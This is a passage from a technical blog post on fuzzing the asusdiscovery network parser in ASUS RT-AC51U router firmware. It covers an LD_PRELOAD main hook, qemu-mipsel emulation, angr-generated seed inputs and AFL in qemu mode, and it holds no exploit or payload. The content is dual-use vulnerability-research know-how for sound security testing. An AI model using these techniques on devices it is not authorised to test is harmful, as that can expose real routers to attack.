viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1626'%3e%3cg data-evernote-id='1627'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1628' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1629' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    void PROCESS_UNPACK_GET_INFO(char *pcParm1,undefined4 uParm2,in_addr iParm3)
[/code]

Using stub-builder you can take this information

​

##

Instrumenting asusdiscover<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='1651'%3e%3cg data-evernote-id='1652' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='1653' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='1654'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Similarly to the PoC of the LD\_PRELOAD main hook shown above, I needed to
hook the main function. For uClibc that function is `__uClibc_main `. Using
the same trick as above, we'll define a function prototype for the function we
want to call, then hook uClibc's main function and then jump directly to the
function we want to call with our arguments.

To make this process easier, I created a tool to identify function prototypes
and slot them into templated c code. The current iteration of `stub-builder `
will accept a file and a given function to instrument. The tool is imperfect
and will use radare2 to identify \(often wrongly\) function prototypes and
place them into the c stub.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1672'%3e%3cg data-evernote-id='1673'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1674' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1675' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ stub_builder -h
    2usage: stub_builder [-h] --File FILE {hardcode,recover} ...
    3​
    4positional arguments:
    5  {hardcode,recover}    Hardcode or automatically use prototypes and addresses
    6    hardcode            Use absolute offsets and prototypes
    7    recover             Use radare2 to recover function address and prototype
    8​
    9optional arguments:
    10  -h, --help            show this help message and exit
    11  --File FILE, -F FILE  ELF executable to create stub from
    12​
[/code]

An example for the command can be seen below. The stub builder uses radare2
for it's function recovery and fails to identify the first argument as a
`char* ` so we need to fixup the main\_hook.c.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1772'%3e%3cg data-evernote-id='1773'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1774' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1775' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ stub_builder -F usr/sbin/asusdiscovery recover name PROCESS_UNPACK_GET_INFO
    2[+] Modify main_hook.c to call instrumented function
    3[+] Compile with "gcc main_hook.c -o main_hook.so -fPIC -shared -ldl"
    4[+] Hook with: LD_PRELOAD=./main_hook.so ./usr/sbin/asusdiscovery
    5[+] Created main_hook.c
    6​
[/code]

Hardcoded values can be inserted instead. The below command supplies the
address, argument prototype and the expected return type:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1840'%3e%3cg data-evernote-id='1841'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1842' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1843' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    $ stub_builder -F usr/sbin/asusdiscovery hardcode 0x00401f30 "(char *, int, int)" "int"
[/code]

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1852'%3e%3cg data-evernote-id='1853'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1854' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1855' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1#define _GNU_SOURCE
    2#include <stdio.h>
    3#include <dlfcn.h>
    4​
    5//gcc main_hook.c -o main_hook.so -fPIC -shared -ldl
    6​
    7/* Trampoline for the real main() */
    8static int (*main_orig)(int, char **, char **);
    9​
    10/* Our fake main() that gets called by __libc_start_main() */
    11int main_hook(int argc, char **argv, char **envp)
    12{
    13​
    14    //<arg declarations here>
    15    char user_buf[512] = {"\x00"};
    16    //scanf("%512s", user_buf);
    17    read(0, user_buf, 512);
    18    int (*do_thing_ptr)(char *, int, int) = 0x401f30;
    19    int ret_val = (*do_thing_ptr)(user_buf, 0, 0);
    20​
    21    printf("Ret val %d\n",ret_val);
    22​
    23    return 0;
    24}
    25​
    26//uClibc_main
    27/*
    28 * Wrapper for __libc_start_main() that replaces the real main
    29 * function with our hooked version.
    30 */
    31int __uClibc_main(
    32    int (*main)(int, char **, char **),
    33    int argc,
    34    char **argv,
    35    int (*init)(int, char **, char **),
    36    void (*fini)(void),
    37    void (*rtld_fini)(void),
    38    void *stack_end)
    39{
    40    /* Save the real main function address */
    41    main_orig = main;
    42​
    43    /* Find the real __libc_start_main()... */
    44    typeof(&__uClibc_main) orig = dlsym(RTLD_NEXT, "__uClibc_main");
    45​
    46    /* ... and call it with our custom main function */
    47    return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end);
    48}
    49​
[/code]

The code above will accept input from STDIN and pass it into the parsing
function directly. This enable us to test and get return values of the
functions without any networking compoonents required.

##

Running the code<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='2561'%3e%3cg data-evernote-id='2562' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='2563' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='2564'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Cross compiling the shared object using the provided cross compilers is shown
below. The resulting file will be named `main_hook.so `

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2574'%3e%3cg data-evernote-id='2575'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2576' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2577' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    t$ /opt/cross-compile/mipsel-linux-uclibc/bin/mipsel-buildroot-linux-uclibc-gcc main_hook.c -o main_hook.so -fPIC -shared -ldl
[/code]

Using this library is shown below and with my toolchain it doesn't link the
libdl library and will result in the error below:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2590'%3e%3cg data-evernote-id='2591'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2592' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2593' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ qemu-mipsel -L /home/caffix/firmware/asus/RT-AC51U/ext_fw/squashfs-root -E LD_PRELOAD=/main_hook.so ./usr/sbin/asusdiscovery
    2./usr/sbin/asusdiscovery: can't resolve symbol 'dlsym'
[/code]

Adding the libdl library to the LD\_PRELOAD fixes this problem and resolves
the dlsym function.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2618'%3e%3cg data-evernote-id='2619'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2620' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2621' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ qemu-mipsel -L /home/caffix/firmware/asus/RT-AC51U/ext_fw/squashfs-root -E LD_PRELOAD=/lib/libdl.so.0:/main_hook.so ./usr/sbin/asusdiscovery
    2abcd
    3Ret val 4
[/code]

We now have the binary running and it's accepting our input and passing it
directly to the function. The next stage is generating a set of valid input
data to seed our fuzzer with.

##

Generating valid input for a test corpus<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='2650'%3e%3cg data-evernote-id='2651' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='2652' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='2653'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Sending in random strings of "A"s will not yield new discovered paths through
the parsing function. Looking at the function decompilation we can see there
is a quick check performed in a funciton titled `UnpackGetInfo_NEW ` . This is
the first function we need to look at, to determine if there are any early
exits from initial parses.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2664'%3e%3cg data-evernote-id='2665'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2666' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2667' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1  memset(&local_320,0,0xf8);
    2  memset(&uStack1000,0,200);
    3  iVar28 = UnpackGetInfo_NEW(pcParm1,&local_320,&uStack1000);
    4  iVar39 = a_GetRouterCount;
[/code]

This function first checks for a set of magic bytes before continueing. It's
looking for "\x0c\x16\x00\x1f" to be the first bytes in network input. Without
these magic bytes it will exit early and indicate through it's return code to
discard the input.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2689'%3e%3cg data-evernote-id='2690'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2691' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2692' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1int UnpackGetInfo_NEW(char *user_input,undefined4 *param_2,undefined4 *param_3)
    2​
    3{
    4  undefined4 uVar1;
    5  undefined4 uVar2;
    6  undefined4 uVar3;
    7  undefined4 *puVar4;
    8  undefined4 *puVar5;
    9  undefined4 *puVar6;
    10  
    11  if (((*user_input != '\f') || (user_input[1] != 0x16)) || (*(short *)(user_input + 2) != 0x1f)) {
    12    return 1;
    13  }
[/code]

Supplying this magic value immediatly returns a different result when running
the binary:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2742'%3e%3cg data-evernote-id='2743'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2744' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2745' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ python2 -c 'print "\x0c\x16\x1f\x00" + "A"*100' | qemu-mipsel -L . -E LD_PRELOAD=/lib/libdl.so.0:/main_hook.so ./usr/sbin/asusdiscovery
    2Ret val 1
[/code]

The function returns more than just a single return value based on the parse
or unpack. There appears to be checks on lines 12, 15, 32, 33 and returns a
result based on the input on line 50.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2761'%3e%3cg data-evernote-id='2762'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='2763' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='2764' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1​
    2int UnpackGetInfo_NEW(char *user_input,undefined4 *param_2,undefined4 *param_3)
    3​
    4{
    5  undefined4 uVar1;
    6  undefined4 uVar2;
    7  undefined4 uVar3;
    8  undefined4 *puVar4;
    9  undefined4 *puVar5;
    10  undefined4 *puVar6;
    11  
    12  if (((*user_input != '\f') || (user_input[1] != 0x16)) || (*(short *)(user_input + 2) != 0x1f)) {
    13    return 1;
    14  }
    15  puVar6 = (undefined4 *)(user_input + 8);
    16  do {
    17    puVar5 = puVar6;
    18    puVar4 = param_2;
    19    uVar1 = puVar5[1];
    20    uVar2 = puVar5[2];
    21    uVar3 = puVar5[3];
    22    *puVar4 = *puVar5;
    23    puVar4[1] = uVar1;
    24    puVar4[2] = uVar2;
    25    puVar6 = puVar5 + 4;
    26    puVar4[3] = uVar3;
    27    param_2 = puVar4 + 4;
    28  } while (puVar6 != (undefined4 *)(user_input + 0xf8));
    29  uVar1 = puVar5[5];
    30  puVar4[4] = *puVar6;
    31  puVar4[5] = uVar1;
    32  if ((*(short *)(user_input + 0x110) == -0x7f7e) &&
    33     (puVar6 = (undefined4 *)(user_input + 0x110), (user_input[0x112] & 1U) != 0)) {
    34    do {
    35      puVar5 = puVar6;
    36      puVar4 = param_3;
    37      uVar1 = puVar5[1];
    38      uVar2 = puVar5[2];
    39      uVar3 = puVar5[3];
    40      *puVar4 = *puVar5;
    41      puVar4[1] = uVar1;
    42      puVar4[2] = uVar2;
    43      puVar6 = puVar5 + 4;
    44      puVar4[3] = uVar3;
    45      param_3 = puVar4 + 4;
    46    } while (puVar6 != (undefined4 *)(user_input + 0x1d0));
    47    uVar1 = puVar5[5];
    48    puVar4[4] = *puVar6;
    49    puVar4[5] = uVar1;
    50    return (uint)((user_input[0x112] & 0x10U) != 0) + 5;
    51  }
    52  return 0;
    53}
    54​
    55​
[/code]

This is a perfect time to breakout angr to create a valid input to hit line
50\! The following code will create a 300 byte symbolic buffer and have angr
solve the constraints required to pass each check in the unpacking function to
yield all potential return results. We are intersted in the analysis path that
reached the furthest part of the parsing function. The script below will print
out each path end address and the required input to reach that path.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='3798'%3e%3cg data-evernote-id='3799'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='3800' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='3801' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1import angr
    2import angr.sim_options as so
    3import claripy
    4​
    5symbol = "UnpackGetInfo_NEW"
    6​
    7# Create a project with history tracking
    8p = angr.Project('/home/caffix/firmware/asus/RT-AC51U/ext_fw/squashfs-root/usr/sbin/asusdiscovery')
    9extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
    10​
    11# User input will be 300 symbolic bytes
    12user_arg = claripy.BVS("user_arg", 300*8)
    13​
    14# State starts at function address
    15start_addr = p.loader.find_symbol(symbol).rebased_addr
    16state = p.factory.blank_state(addr=start_addr, add_options=extras)
    17​
    18# Store symbolic user_input buffer
    19state.memory.store(0x100000, user_arg)
    20state.regs.a0 = 0x100000
    21​
    22# Run to exhaustion
    23simgr = p.factory.simgr(state)
    24simgr.explore()
    25​
    26# Print each path and the inputs required
    27for path in simgr.unconstrained:
    28    print("{} : {}".format(path,hex([x for x in path.history.bbl_addrs][-1])))
    29    u_input = path.solver.eval(user_arg, cast_to=bytes)
    30    print(u_input)
    31​
[/code]

One of the outputs is shown below, and this input can then be sent back into
the program through the above qemu command to validate that it passes the
checks.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4227'%3e%3cg data-evernote-id='4228'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='4229' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='4230' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1<SimState @ <BV32 reg_ra_51_32{UNINITIALIZED}>> : 0x401c4c
    2b'\x0c\x16\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x82\x80\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    3​
    4### Running the input
    5$ printf '\x0c\x16\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x82\x80\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | qemu-mipsel -L . -E LD_PRELOAD=/lib/libdl.so.0:/main_hook.so ./usr/sbin/asusdiscovery
    6Ret val 1
    7​
[/code]

I've put each of these inputs into individual files for AFL to read from
later.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4263'%3e%3cg data-evernote-id='4264'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='4265' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='4266' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ ls afl_input/
    2test_case1  test_case2  test_case3  test_case4  test_case5
    3​
[/code]

##

Fuzzing the function<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='4286'%3e%3cg data-evernote-id='4287' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='4288' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='4289'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Using the AFL build process outlined here will provide AFL with qemu mode
which will fuzz asusdiscovery with the script:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4302'%3e%3cg data-evernote-id='4303'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='4304' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='4305' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1#!/bin/bash
    2​
    3export "QEMU_SET_ENV=LD_PRELOAD=/lib/libdl.so.0:/main_hook.so"
    4export "QEMU_LD_PREFIX=/home/caffix/firmware/asus/RT-AC51U/ext_fw/squashfs-root"
    5export "AFL_INST_LIBS=1"
    6#export "AFL_NO_FORKSRV=1"
    7​
    8BINARY="/home/caffix/firmware/asus/RT-AC51U/ext_fw/squashfs-root/usr/sbin/asusdiscovery"
    9​
    10afl-fuzz -i afl_input -o output -m none -Q $BINARY
    11​
[/code]

You will get some incredibly slow fuzzing at about 1-2 execution per second.
The afl fork server is taking way to long to spawn off newly forked processes.

<img src='img/2019-04-17-191843_731x455_scrot.png' width='570' height='355' />

Adding the `AFL_NO_FORKSRV=1 ` will prevent AFL from creating a forkserver
just before main and forking off new processes. For this type of hooking and
emulation it runs much faster at about 85 executions per second:

<img src='img/2019-04-17-192046_742x459_scrot.png' width='573' height='355' />

We can do better... Specifically we can use Abiondo's fork of AFL that he
describes his blog post here. Abiondo implemented an idea for QEMU that is
quoted at speeding up the qemu emulation speed on a scale of 3 to 4 times.
That should put us at 300 or 400 executions per second.

> My idea was to move the instrumentation into the translated code by
> injecting a snippet of TCG IR at the beginning of every TB. This way, the
> instrumentation becomes part of the emulated program, so we don’t need to go
> back into the emulator at every block, and we can re-enable chaining.
Downloading and running the fork of AFL follows the exact same build process:

